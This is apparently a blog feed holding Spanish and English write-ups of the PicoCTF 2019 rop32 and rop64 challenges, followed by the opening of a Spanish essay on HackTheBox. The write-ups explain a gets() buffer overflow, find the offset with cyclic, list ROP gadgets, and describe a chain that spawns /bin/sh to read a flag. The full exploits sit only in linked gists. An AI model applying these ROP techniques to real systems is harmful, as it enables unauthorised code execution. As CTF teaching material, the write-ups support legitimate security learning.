Your Title - infosec2026-08-04T15:08:17+00:00http://example.com/tag/infosec.htmlAuthor HerePicoCTF 2019 - rop32 and rop64 (español)2019-10-14T10:52:01+00:00http://example.com/rop32-rop64-picoctf2019-es<p>This article is also available in <a href="/rop32-rop64-picoctf2019-en">English</a>.</p>
<h1 id="solución-para-rop32">Solución para rop32</h1>
<p>El binario original lo podés descargar <a href="https://2019shell1.picoctf.com/static/c0091019426d9188e6791d4920a20ee2/vuln">acá</a>.
Este challenge consistía en un <code class="language-plaintext highlighter-rouge">ejecutable</code> de linux y el siguiente código fuente en la competencia <a href="https://www.picoctf.com">PicoCTF</a>:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
#include</span> <span class="cpf"><sys/types.h></span><span class="cp">
</span>
<span class="cp">#define BUFSIZE 16
</span>
<span class="kt">void</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Can you ROP your way out of this one?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// Set the gid to the effective gid</span>
<span class="c1">// this prevents /bin/sh from dropping the privileges</span>
<span class="n">gid_t</span> <span class="n">gid</span> <span class="o">=</span> <span class="n">getegid</span><span class="p">();</span>
<span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span>
<span class="n">vuln</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>
<p>La vulnerabilidad claramente se encuentra en la function <code class="language-plaintext highlighter-rouge">gets()</code> que es particularmente vulnerable a <code class="language-plaintext highlighter-rouge">buffer overflows</code>.</p>
<p>Aquí debajo podemos ver que el stack no es ejecutable y que el <code class="language-plaintext highlighter-rouge">NX bit</code> esta activado:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cat</span> /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0
08b94000-08bb6000 rw-p 00000000 00:00 0 <span class="o">[</span>heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0 <span class="o">[</span>vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0 <span class="o">[</span>vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0 <span class="o">[</span>stack]
<span class="nv">$ </span>checksec vuln
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'</span>
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled <<span class="nt">----</span> <span class="o">(!)</span>
PIE: No PIE <span class="o">(</span>0x8048000<span class="o">)</span></code></pre></figure>
<p>Como podemos ver, el <code class="language-plaintext highlighter-rouge">NX bit</code> esta activado, por lo que no podemos ejecutar código en el stack. Por lo tanto usar <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> para ejecutar código es una forma de atacar esta medida de seguridad del binario. Eventualmente vamos a tratar de obtener una shell usando solamente <code class="language-plaintext highlighter-rouge">rop gadgets</code>.</p>
<p>El siguiente paso es encontrar en que <code class="language-plaintext highlighter-rouge">offset</code> de la variable local <code class="language-plaintext highlighter-rouge">buf</code> de 16 bytes de la función <code class="language-plaintext highlighter-rouge">vuln()</code> pisamos el registro <code class="language-plaintext highlighter-rouge">eip</code>. Para ahorrar tiempo usamos <code class="language-plaintext highlighter-rouge">cyclic</code> que es un generador de secuencias únicas de strings que es un wrapper de la funcion <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">De Bruijn</a>.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="nv">$ </span>./vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="o">[</span>1] 9664 segmentation fault ./vuln
<span class="nv">$ </span>dmesg |tail <span class="nt">-n</span> 3
<span class="o">[</span>917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
<span class="o">[</span>917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
<span class="o">[</span>920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
<span class="nv">$ </span>python2 <span class="nt">-c</span> <span class="s1">'print chr(0x68) + chr(0x61)*3'</span> <span class="c"># little endian</span>
haaa
<span class="nv">$ </span>cyclic <span class="nt">--offset</span> haaa
28</code></pre></figure>
<p>Paso a paso, lo que hacemos es pedirle a <code class="language-plaintext highlighter-rouge">cyclic</code> que nos dé un string de 32 caracteres. No hay ninguna razon en particular por la cual escogí un string de 32 bytes, es una longitud arbitraria pero suficientemente grande como para pisar <code class="language-plaintext highlighter-rouge">eip</code>. Lo copiamos y lo pasamos como input al programa <code class="language-plaintext highlighter-rouge">vuln()</code>. El buffer local <code class="language-plaintext highlighter-rouge">buf</code> de 16 caracteres se overflowea cuando escribimos más de que la memoria asignada para ese buffer a traves de la función <code class="language-plaintext highlighter-rouge">gets()</code> y pisamos varias variables del <code class="language-plaintext highlighter-rouge">stack</code>, llegando a pisar <code class="language-plaintext highlighter-rouge">eip</code> que es el <code class="language-plaintext highlighter-rouge">Instruction Pointer</code> o <code class="language-plaintext highlighter-rouge">Program Counter</code> en otras arquitecturas como ARM.
El valor en <code class="language-plaintext highlighter-rouge">eip</code> es <code class="language-plaintext highlighter-rouge">0x61616168</code> que pasándolo a string nos devuelve <code class="language-plaintext highlighter-rouge">haaa</code> y al buscarlo de nuevo con <code class="language-plaintext highlighter-rouge">cyclic</code> nos devuelve el offset <code class="language-plaintext highlighter-rouge">28</code>. Abajo grafico porque el valor es este:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x86 - punteros de 4 bytes
ESP +---------> +-------------------+
| var. locales/etc | 20 bytes (offset 0) +
EBP +---------> +-------------------+ |
| EBP | 4 bytes (offset 24) |
+-------------------+ | Nuestro cyclic
| EIP / RET | 4 bytes (offset 28) |
+-------------------+ |
| Argumentos | 4 bytes (offset 32) +
+-------------------+
</code></pre></div></div>
<p>Entonces el estado del stack antes del la instrucción <code class="language-plaintext highlighter-rouge">leave</code> en <code class="language-plaintext highlighter-rouge">vuln()</code> se encuentra de esta manera:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffcce0: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffccf0: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffcd00: 0x00000000 0x0804f02b 0x080da000 0x000003e8
</code></pre></div></div>
<p>Y luego, antes de ejecutar el <code class="language-plaintext highlighter-rouge">ret</code> el estado del stack cambia a esta otra:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffccfc: 0x61616168 0x00000000 0x0804f02b 0x080da000
0xffffcd0c: 0x000003e8 0xffffcd30 0x080da000 0x00000000
0xffffcd1c: 0x08048f6f 0x0806f0af 0x080da000 0x080da000
</code></pre></div></div>
<p>Teniendo toda esta información, empezamos a escribir nuestro exploit. En <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> la idea es que en vez de escribir código en el buffer, lo que hacemos es manipular el <code class="language-plaintext highlighter-rouge">stack frame</code> de manera tal que inyectamos direcciones de memoria <em>válidas</em> contenidas en el mismo binario que estamos ejecutando. Además, dependiendo de donde uno esté interpretando el binario y en que offset, tambien podemos “reinterpretar” el binario mirando las cadendas de bytes y chequear si son instrucciónes válidas de la arquitectura Intel. Para ver esto, usamos el programa <a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a> que nos devuelve una lista de reinterpretaciones del binario con la particularidad que terminen en una instrucción <code class="language-plaintext highlighter-rouge">ret</code>, <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">int 0x80</code> o <code class="language-plaintext highlighter-rouge">syscall</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...]
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...]
</code></pre></div></div>
<p>Por ejemplo, varios <code class="language-plaintext highlighter-rouge">gadget</code> de este binario nos permitiría como se ve en este ejemplo, manipular los registros del procesador insertándole valores si acomodamos el <code class="language-plaintext highlighter-rouge">stack</code> de una manera piola. <code class="language-plaintext highlighter-rouge">pop eax; ret</code> nos permitiría guardar el valor <code class="language-plaintext highlighter-rouge">0x41414141</code> que se encuentre inmediatamente después en el stack <code class="language-plaintext highlighter-rouge">0x080a8e36</code> en <code class="language-plaintext highlighter-rouge">eax</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S T A C K
+----------------------+
| 0x080a8e36 | <-------+ pop eax ; ret
+----------------------+
| 0x41414114 | <-------+ eax <- 0x41414141
+----------------------+
| Siguiente RET |
+----------------------+
</code></pre></div></div>
<h2 id="exploit">Exploit</h2>
<p>El objetivo es ejecutar la syscall de linux <code class="language-plaintext highlighter-rouge">execve</code> usando solamente una <code class="language-plaintext highlighter-rouge">rop chain</code> empezando por nuestro registro <code class="language-plaintext highlighter-rouge">eip</code> que ya controlamos para obtener una shell en el servidor ejecutando el comando <code class="language-plaintext highlighter-rouge">/bin/sh</code>.
El binario en el servidor que queremos explotar tiene el flag <code class="language-plaintext highlighter-rouge">SUID</code> activado con permisos de lectura para <code class="language-plaintext highlighter-rouge">flag.txt</code> que es el recurso que queremos leer. El exploit ejecuta <code class="language-plaintext highlighter-rouge">/bin//sh</code> y luego de la explotación, podemos ejecutar comandos en el server.</p>
<p>Mientras escribía el exploit, me encontré con el problema que el <code class="language-plaintext highlighter-rouge">string</code> que generaba para pasar como input al programa vulnerable estaba “cortado a la mitad”. La razón fue por el siguiente gadget:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x080a8e36 : pop eax ; ret
</code></pre></div></div>
<p>El problema con la dirección de memoria <code class="language-plaintext highlighter-rouge">0x080a8e36</code> es que el byte <code class="language-plaintext highlighter-rouge">0x0a</code> esta presente en la dirección y en el contexto de pasar como input esta direccion es que la consola interpreta <code class="language-plaintext highlighter-rouge">0x0a</code> como un <code class="language-plaintext highlighter-rouge">newline character</code> ejecutando el input a la mitad.</p>
<p>Esta es la razón por la cual, en vez de usar <code class="language-plaintext highlighter-rouge">pop eax; ret</code> elegí el siguiente <code class="language-plaintext highlighter-rouge">gadget</code> para evitar este problema:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#0x080a8e36 : pop eax ; ret # bytes "malos" en la dirección de memoria
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # y este gadget no contiene 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*
</code></pre></div></div>
<p>Entonces, tengo que tener especial cuidado cuando cargo valores en el registro <code class="language-plaintext highlighter-rouge">eax</code> con mi gadget <code class="language-plaintext highlighter-rouge">pop_eax_3</code> ( lo llamé asi para recordarme que hay <code class="language-plaintext highlighter-rouge">3</code> registros que se van a modificar en este gadget ) porque también carga valores a los registros <code class="language-plaintext highlighter-rouge">edx</code> y <code class="language-plaintext highlighter-rouge">ebx</code>, destruyendo el estado de los valores que tuviera cargados anteriormente.</p>
<p>Este es nuestro exploit final:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/91ae7933be399f105c2d3459b3484010.js"> </script>
<p>Y este es el flag:
<code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_cb4c373e}</code></p>
<h1 id="solución-para-rop64">Solución para rop64</h1>
<p>Son casi los mismos pasos y técnicas descriptas para <code class="language-plaintext highlighter-rouge">rop32</code> pero
teniendo en cuenta lo siguiente:</p>
<ul>
<li>Los parámetros de la syscall <code class="language-plaintext highlighter-rouge">execve</code> se pasan por registros y no por stack</li>
<li>Tenemos espacio para escribir el string <code class="language-plaintext highlighter-rouge">/bin/sh\x00</code> en un registro en un solo paso. Esto hace que el <code class="language-plaintext highlighter-rouge">ropchain</code> sea un poco más sencillo</li>
<li>En 64 bits no debemos llamar a <code class="language-plaintext highlighter-rouge">int 0x80</code> sino a la instrucción <code class="language-plaintext highlighter-rouge">syscall</code></li>
</ul>
<p>Este es el exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/96608e53956982a8b29d152c35a3f554.js"> </script>
<p>Y el flag <code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}</code></p>
PicoCTF 2019 - rop32 and rop642019-10-14T10:52:01+00:00http://example.com/rop32-rop64-picoctf2019-en<h1 id="solving-rop32-challenge">Solving rop32 challenge</h1>
<p>You can download the original file <a href="https://2019shell1.picoctf.com/static/c0091019426d9188e6791d4920a20ee2/vuln">here</a>.
This challenge was a linux <code class="language-plaintext highlighter-rouge">executable</code> with the following source code in <a href="https://www.picoctf.com">PicoCTF</a>:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
#include</span> <span class="cpf"><sys/types.h></span><span class="cp">
</span>
<span class="cp">#define BUFSIZE 16
</span>
<span class="kt">void</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Can you ROP your way out of this one?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// Set the gid to the effective gid</span>
<span class="c1">// this prevents /bin/sh from dropping the privileges</span>
<span class="n">gid_t</span> <span class="n">gid</span> <span class="o">=</span> <span class="n">getegid</span><span class="p">();</span>
<span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span>
<span class="n">vuln</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>
<p>The vulnerability resides in the use of <code class="language-plaintext highlighter-rouge">gets()</code> which is very well known for being suceptible of <code class="language-plaintext highlighter-rouge">buffer overflows</code>.</p>
<p>Below we can see that the stack is not executable and the <code class="language-plaintext highlighter-rouge">NX bit</code> is enabled:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cat</span> /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0
08b94000-08bb6000 rw-p 00000000 00:00 0 <span class="o">[</span>heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0 <span class="o">[</span>vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0 <span class="o">[</span>vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0 <span class="o">[</span>stack]
<span class="nv">$ </span>checksec vuln
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'</span>
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled <<span class="nt">----</span> <span class="o">(!)</span>
PIE: No PIE <span class="o">(</span>0x8048000<span class="o">)</span></code></pre></figure>
<p>As we can see, the <code class="language-plaintext highlighter-rouge">NX bit</code> is enabled, because of this we cannot execute code in the stack. Therefore using <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> makes totally sense.
In the end, we will try to get our shell using only <code class="language-plaintext highlighter-rouge">rop gadgets</code>.</p>
<p>The next step is to find the 16 bytes <code class="language-plaintext highlighter-rouge">offset</code> of <code class="language-plaintext highlighter-rouge">buf</code> local variable in the <code class="language-plaintext highlighter-rouge">vuln()</code> function, and ultimately overwrite the return address at the current function’s <code class="language-plaintext highlighter-rouge">stack frame</code> and gain control over <code class="language-plaintext highlighter-rouge">eip</code>.
Using <code class="language-plaintext highlighter-rouge">cyclic</code> to gain time is useful. <code class="language-plaintext highlighter-rouge">cyclic</code> is a string sequence generator which is a <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">De Bruijn</a> function wrapper.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="nv">$ </span>./vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
<span class="o">[</span>1] 9664 segmentation fault ./vuln
<span class="nv">$ </span>dmesg |tail <span class="nt">-n</span> 3
<span class="o">[</span>917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
<span class="o">[</span>917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
<span class="o">[</span>920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
<span class="nv">$ </span>python2 <span class="nt">-c</span> <span class="s1">'print chr(0x68) + chr(0x61)*3'</span> <span class="c"># little endian</span>
haaa
<span class="nv">$ </span>cyclic <span class="nt">--offset</span> haaa
28</code></pre></figure>
<p>Step by step, we ask to <code class="language-plaintext highlighter-rouge">cyclic</code> a string of 32 bytes. There is no particular reason that I choosed a 32 bytes string for <code class="language-plaintext highlighter-rouge">cyclic</code> but is big enough to overwrite <code class="language-plaintext highlighter-rouge">eip</code>. Copying the resulting string to the program input overflows the buffer overwriting the <code class="language-plaintext highlighter-rouge">Instruction Pointer</code>.
The overwritten <code class="language-plaintext highlighter-rouge">eip</code> renders the value <code class="language-plaintext highlighter-rouge">0x61616168</code>, converted to string is <code class="language-plaintext highlighter-rouge">haaa</code> and returning with the result to <code class="language-plaintext highlighter-rouge">cyclic</code> finally we obtain <code class="language-plaintext highlighter-rouge">28</code> as the offset.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x86 - 4 bytes pointers
ESP +---------> +-------------------+
| local vars/etc | 20 bytes (offset 0) +
EBP +---------> +-------------------+ |
| EBP | 4 bytes (offset 24) |
+-------------------+ | cyclic string
| EIP / RET | 4 bytes (offset 28) |
+-------------------+ |
| arguments | 4 bytes (offset 32) +
+-------------------+
</code></pre></div></div>
<p>The state of the stack before the <code class="language-plaintext highlighter-rouge">leave</code> instruction in <code class="language-plaintext highlighter-rouge">vuln()</code> is the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffcce0: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffccf0: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffcd00: 0x00000000 0x0804f02b 0x080da000 0x000003e8
</code></pre></div></div>
<p>And in the <code class="language-plaintext highlighter-rouge">ret</code> instruction, the stack state changes to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg> x/12x $esp
0xffffccfc: 0x61616168 0x00000000 0x0804f02b 0x080da000
0xffffcd0c: 0x000003e8 0xffffcd30 0x080da000 0x00000000
0xffffcd1c: 0x08048f6f 0x0806f0af 0x080da000 0x080da000
</code></pre></div></div>
<p>After gathering all this information about the behaviour of the program, we start to write our exploit. In <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> the idea is that instead of writing code in the buffer and jump to it, what we do is manipulate the <code class="language-plaintext highlighter-rouge">stack frame</code> in a way that we inject <em>valid</em> memory addresses that reside within the original binary. The program <a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a> reinterprets a binary mangling with the offsets in a way that it finds <code class="language-plaintext highlighter-rouge">gadgets</code> to use with the property of a chain of instructions that ends in <code class="language-plaintext highlighter-rouge">ret</code>, <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">int 0x80</code> or <code class="language-plaintext highlighter-rouge">syscall</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...]
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...]
</code></pre></div></div>
<p>For instance, several <code class="language-plaintext highlighter-rouge">gadgets</code> in this binary allow us to manipulate the processor registers in a way that we can inject values to the registers mangling with the <code class="language-plaintext highlighter-rouge">stack</code> in a clever way. <code class="language-plaintext highlighter-rouge">pop eax; ret</code> allows us to inject the value <code class="language-plaintext highlighter-rouge">0x41414141</code> into <code class="language-plaintext highlighter-rouge">eax</code> using the gadget located at <code class="language-plaintext highlighter-rouge">0x080a8e36</code> in the binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S T A C K
+----------------------+
| 0x080a8e36 | <-------+ pop eax ; ret
+----------------------+
| 0x41414114 | <-------+ eax <- 0x41414141
+----------------------+
| Next RET |
+----------------------+
</code></pre></div></div>
<p>This way we can manipulate the execution flow of the program modifiying the <code class="language-plaintext highlighter-rouge">ret</code> addresses.</p>
<h2 id="exploit">Exploit</h2>
<p>The goal is to execute the <code class="language-plaintext highlighter-rouge">execve</code> linux syscall using only a <code class="language-plaintext highlighter-rouge">rop chain</code> starting by our controlled <code class="language-plaintext highlighter-rouge">eip</code> to gain a shell in the server by executing <code class="language-plaintext highlighter-rouge">/bin/sh</code>.
The binary in the server that we want to exploit has the <code class="language-plaintext highlighter-rouge">SUID</code> flag enabled and with reading permissions for <code class="language-plaintext highlighter-rouge">flag.txt</code> which is the resource that we want to read. The exploit executes <code class="language-plaintext highlighter-rouge">/bin//sh</code>, and after exploitation we can issue commands to the server.</p>
<p>While writing the exploit, I’ve encountered a problem that the final string to pass as input to the vulnerable program was “cut at half”. This was because of this gadget:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x080a8e36 : pop eax ; ret
</code></pre></div></div>
<p>The problem with the memory address <code class="language-plaintext highlighter-rouge">0x080a8e36</code> is that the byte <code class="language-plaintext highlighter-rouge">0x0a</code> is present in the address and in the context of passing the input by console, it is interpreted as the <code class="language-plaintext highlighter-rouge">newline character</code>, executing the input but in half.</p>
<p>That is the reason that instead of using <code class="language-plaintext highlighter-rouge">pop eax; ret</code> I choosed the following <code class="language-plaintext highlighter-rouge">gadget</code> to avoid this problem:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#0x080a8e36 : pop eax ; ret # bad bytes in the address
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # this gadget address doesn't contains 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*
</code></pre></div></div>
<p>For this reason, I need to take special care when loading values to the <code class="language-plaintext highlighter-rouge">eax</code> register with <code class="language-plaintext highlighter-rouge">pop_eax_3</code> - I called it like that to remind me also that <code class="language-plaintext highlighter-rouge">3</code> registers are involved in this gadget - because it also loads values to <code class="language-plaintext highlighter-rouge">edx</code> and <code class="language-plaintext highlighter-rouge">ebx</code> destroying the state of my registers.</p>
<p>This is the final exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/91ae7933be399f105c2d3459b3484010.js"> </script>
<p>Here is the flag:
<code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_cb4c373e}</code></p>
<h1 id="solving-rop64-challenge">Solving rop64 challenge</h1>
<p>The steps to write the exploit of this challenge are nearly the same as the <code class="language-plaintext highlighter-rouge">rop32</code> one but:</p>
<ul>
<li>The <code class="language-plaintext highlighter-rouge">execve</code> syscall parameters are passed by registers and not by stack</li>
<li>We have enough space to write the string <code class="language-plaintext highlighter-rouge">/bin/sh\x00</code> in a register in one step, and thanks to that the <code class="language-plaintext highlighter-rouge">ropchain</code> is a little bit less complex</li>
<li>In 64 bits we should not call <code class="language-plaintext highlighter-rouge">int 0x80</code>, we should use <code class="language-plaintext highlighter-rouge">syscall</code> instruction instead</li>
</ul>
<p>This is the exploit:</p>
<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/96608e53956982a8b29d152c35a3f554.js"> </script>
<p>And the flag <code class="language-plaintext highlighter-rouge">picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}</code></p>
HackTheBox: Jugar a trabajar2018-02-18T18:00:00+00:00http://example.com/HackTheBox-Jugar-A-Trabajar<p>Era la tercera vez que le insistía a un amigo, entre cervezas y discusiones irrelevantes sobre el futuro, que pruebe registrándose a <a href="https://www.hackthebox.eu/">HackTheBox</a>, una plataforma que me tuvo ocupado este feriado largo de carnaval entre mates, tortas fritas y galletitas con queso.</p>
<p><img src="/assets/images/hackthebox/hackthebox-1.png" alt="Hackers chateando con touch en una de las maquinas vulnerables de HTB" class="img-responsive" /></p>
<p>HackTheBox (HTB) es una plataforma online que permite evaluar tus propias habilidades como Pentester/Hacker. Antes de continuar con HTB necesito dar un poco de contexto sobre este mundo de competencias y medición de habilidades en la comunidad InfoSec/Hacker. En lo particular, HTB es un CTF (CaptureTheFlag) más realista, una competencia entre personas para descubrir vulnerabilidades en sistemas y explotarlos para ganar puntos. Generalmente los CTFs presentan un archivo binario, un enunciado, una imagen de disco, un dump de memoria, un mensaje criptográfico o una plataforma web con alguna vulnerabilidad muy especifica que debes explotar para obtener un hash MD5, SHA1 o un string en <a href="https://en.wikipedia.org/wiki/Leet">leet</a>. Obtener el flag otorga puntos. Mientras más puntos, más arriba en la tabla de jugadores. Los CTFs duran un par de días y los rankings quedan cristalizados al cierre.</p>
<p>Jugando CTFs pertenecí al grupo <a href="https://ctftime.org/team/17685">dephault</a> bajo otro handle, disuelto ya porque la vida es cruel y la coordinación de 6 personas con diferentes husos horarios para ocupar un fin de semana entero siendo que algunos tienen hijos se fue tornando difícil. Hemos llegado al TOP 5 en alguna que otra competencia, y fue suficiente para sentirnos todos satisfechos por el esfuerzo en conjunto y festejar a la distancia con cervezas ASCIIs en IRC.</p>
<p><img src="/assets/images/hackthebox/hackthebox-2.png" alt="Después de explotar una máquina, también tenes que obtener privilegios de root" class="img-responsive" /></p>
<p>Aunque HTB tiene sabor a CTF no se parece a nada en lo que haya participado lúdicamente nunca. Una vez registrado en la plataforma (que requiere un código de invitación que tenés que hackear por tu cuenta) se otorga acceso al VPN de HTB y una lista de maquinas con sus respectivas IPs. Cada IP es un challenge, un servidor con algún servicio vulnerable y la única pista que se da al jugador son los misteriosos títulos que tiene cada máquina. No hay enunciados. No hay pistas. No hay binarios. Solo una IP y el sistema operativo en el que corre la máquina.
El nuevo nivel de dificultad que se me estaba presentando me pareció inmediatamente fascinante. Tan fascinante que mientras estaba con mi amigo bebiendo estas fabulosas cervezas no podía parar de insistirle en que se registre:</p>
<ul>
<li>No Tosh, gracias, pero no. No me interesa mucho.</li>
<li>Dale, está buenísimo y es muy divertido.</li>
<li>¿Divertido? ¿Desde cuándo es divertido jugar a que trabajás?</li>
</ul>
